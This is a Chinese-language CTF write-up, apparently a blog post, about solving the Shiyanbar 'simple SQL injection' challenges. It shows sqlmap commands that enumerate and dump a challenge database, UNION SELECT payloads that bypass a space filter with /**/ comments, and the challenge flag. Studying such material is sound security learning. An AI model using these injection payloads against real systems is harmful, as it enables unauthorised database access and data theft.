sql注入学习心得与sqlmap使用心得

做题是最好的老师

首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3

不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了

首先是简单的sql注入3(别问我为什么不是1)

打开链接之后发现

陷入沉思,这时候我决定使用sqlmap对他进行sql注入

在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就开始等他跑,当然跑的过程有点长,就不贴图了

最终结果得到

3个表,这可还行,然后我们打开web1看看里面有什么列

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

emmmmm,熟悉的字眼,是flag!

于是我们再进入列看看

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已经出现了,这时候我们只需要把它dump出来就好了

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

最终得到答案 flag{Y0u_@r3_5O_dAmn_90Od}

当然,这样可能比较麻烦,所以第二题我就换了一种方法

输入1发现,那我们再输入1 and 1 = 1

报错了,emmmmm。于是看了一下别人的wp,原来报SQLi detected!,说明有防护;name: baloteli 说明过滤了“空格”

所以我们先查看有哪些数据库
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 好家伙,又是web1,那我们再看看有什么表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了这个,那我们再看看里面有什么东西

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}

最后我们来说一下简单的sql注入1

当然我的做法和2一样,只不过看列的时候出现了一点问题

于是我直接就进行了最后一步,希望能得到答案,当然最后还是运气好得到答案了

flag{Y0u_@r3_5O_dAmn_90Od}

希望有dalao能解答一下我最后遇到的问题,欢迎评论

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/10666044.html